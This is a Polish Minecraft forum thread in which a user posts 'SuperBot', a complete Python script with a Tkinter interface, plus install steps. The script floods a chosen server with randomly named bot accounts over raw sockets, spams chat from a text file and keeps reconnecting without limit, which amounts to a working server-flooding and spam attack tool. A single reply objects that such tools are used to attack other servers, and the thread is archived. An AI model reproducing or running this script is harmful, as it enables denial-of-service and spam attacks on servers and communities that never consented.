Skocz do zawartości
  • 👋 Witaj na MPCForum!

    Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

    • Pełny dostęp do działów i ukrytych treści
    • Możliwość pisania i odpowiadania w tematach
    • System prywatnych wiadomości
    • Zbieranie reputacji i rozwijanie swojego profilu
    • Członkostwo w jednej z największych społeczności graczy

    👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

    Zarejestruj się teraz

[DL] SuperBot - Boty na server minecraft


smierdziszxd

Rekomendowane odpowiedzi

Opublikowano

Witam mam dla was boty do minecrafta


Pobieramy python z strony: 



https://www.python.org/downloads

I go instalujemy


 


3.Tworzymy plik z zakończeniem .py


4.Wklejamy do niego:


 


 


 


import socket,time,sys,random,os

from threading import Thread

from tkinter import *

 

handshake = '\x0f\x00\x04\t127.0.0.1\xde\x02'.encode("utf-8")

user = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 0, 2, 3, 4, 5, 6, 7, 8, 9, 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']

 

def getRandomChar():

return str(user[random.randint(0, len(user)-1)])

 

def getRandomUsername():

username = ''

for x in range(0,9):

username = username + getRandomChar()

return username 

 

def chat(msg):

return (chr(len(msg)+2) + '\x01' + chr(len(msg)) + msg).encode('utf-8')

 

def connect(ip, port, username, indelay, joindelay):

global running

 

if not running:

return;

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#s = socks.socksocket()

#s.setproxy(socks.PROXY_TYPE_SOCKS5,"37.187.7.203")

 

s.connect((ip, port))

login = (chr(len(username)+2) + chr(0) + chr(len(username)) + username).encode("utf-8")

s.sendall(handshake)

s.sendall(login) 

print("Bot "+username+" wszedl na serwer")

time.sleep(indelay/2)

s.sendall(('\x02\x16' + chr(2)).encode('utf-8'))

try:

for x in spam:

if(len(x)==0): continue

s.sendall(chat(x))

except socket.error:

pass

time.sleep(indelay/2)

s.close()

print("Bot "+username+" wyszedl z serwera")

time.sleep(joindelay)

connect(ip, port, getRandomUsername(), indelay, joindelay)

 

if not os.path.exists('spam.txt'):

print("spam.txt file not found, creating a new file, consider editing this file.")

f = open("spam.txt","a")

f.write("/register password password\n/login password\nPwnage Begins...")

f.close()

f = open("spam.txt", "r")

read = f.read(1024)

f.close()

print("Wczytano spam.txt, dlugosc: "+str(len(read)))

spam = read.split('\n')

running = False

 

def pwn(ip, port, maxplayers, joindelay, indelay, spamdelay):

global running

count = 0

while running:

count+=1

Thread(target=connect, args=(ip, port, getRandomUsername(), indelay, joindelay)).start()

if(count>maxplayers and maxplayers!=0):

break

time.sleep(joindelay)

 

def error(error):

lol = Tk()

Label(lol, text=error).pack(side="top")

Button(lol, text="Ok", command=lol.destroy).pack(side="bottom")

 

def start():

global running

 

if running:

error("Jest juz właczany")

return;

global status

global ip

ipAdd = ip.get()

split = ipAdd.split(":")

if len(ipAdd)==0:

error("IP jest puste wpisz ip serwera")

return;

status.set("Status: ONLINE")

 

port = 25565

if(len(split)==2):

port = int(split[1])

ipAdd = split[0]

try:

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((ipAdd, port))

s.close()

except socket.error:

error("IP "+ipAdd+" at port "+str(port)+"")

status.set("Status: Online")

return;

status.set("")

print("starting")

running = True

global join, stay,maxpl, spamdelay

Thread(target=pwn, args=(ipAdd, port, maxpl.get(), join.get(), stay.get(), spamdelay.get())).start()

 

def stop():

global useproxies

print(useproxies.get())

global running

 

if not running:

error("Nie Właczony")

return;

print("stopping")

global status

status.set("Status: Online")

running = False

 

def quit():

global running

print("Quitting...")

if running:

stop()

global root

root.destroy()

 

root = Tk()

root.geometry('220x400')

root.wm_title("Boty")

root.protocol('WM_DELETE_WINDOW', quit)

 

frame = Frame(root)

frame.pack(side="bottom")

 

status = StringVar()

status.set("Status: Online")

Label(frame, textvariable=status).pack(side="bottom")

 

Label(frame, text="Wpisz ip:port").pack(side = "top")

ip = Entry(frame)

ip.pack(side="top")

Label(frame, text="Czas miedzy wejsciami").pack(side = "top")

join = Scale(frame, from_=0.2, to=15,  resolution=0.1, orient=HORIZONTAL)

join.pack()

Label(frame, text="Czas stania na spawnie").pack(side = "top")

stay = Scale(frame, from_=0.4, to=100,  resolution=0.1, orient=HORIZONTAL)

stay.pack()

Label(frame, text="Ilosc graczy (0 = nieskonczonosc)").pack(side = "top")

maxpl = Scale(frame, from_=0, to=1000,  resolution=5, orient=HORIZONTAL)

maxpl.pack()

Label(frame, text="Czas miedzy wiadomosciami").pack(side = "top")

spamdelay = Scale(frame, from_=0, to=10,  resolution=0.1, orient=HORIZONTAL)

spamdelay.pack()

 

useproxies = IntVar()

 

Checkbutton(frame, text="Czy chcesz uzyc proxy?", variable=useproxies, onvalue=1, offvalue=0).pack(side = "top")

 

Button(frame, text="Start", command=start).pack(side="left",padx = 5, pady = 5)

Button(frame, text="Stop", command=stop).pack(side="left",padx = 5, pady = 5)

Button(frame, text="Quit", command=quit).pack(side="left",padx = 5, pady = 5)

 

root.mainloop()

 

 


Opublikowano

Nie udostępniamy takich rzeczy, ponieważ służą one do ataków i niszczenia innych serwerów. 

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

×
×
  • Dodaj nową pozycję...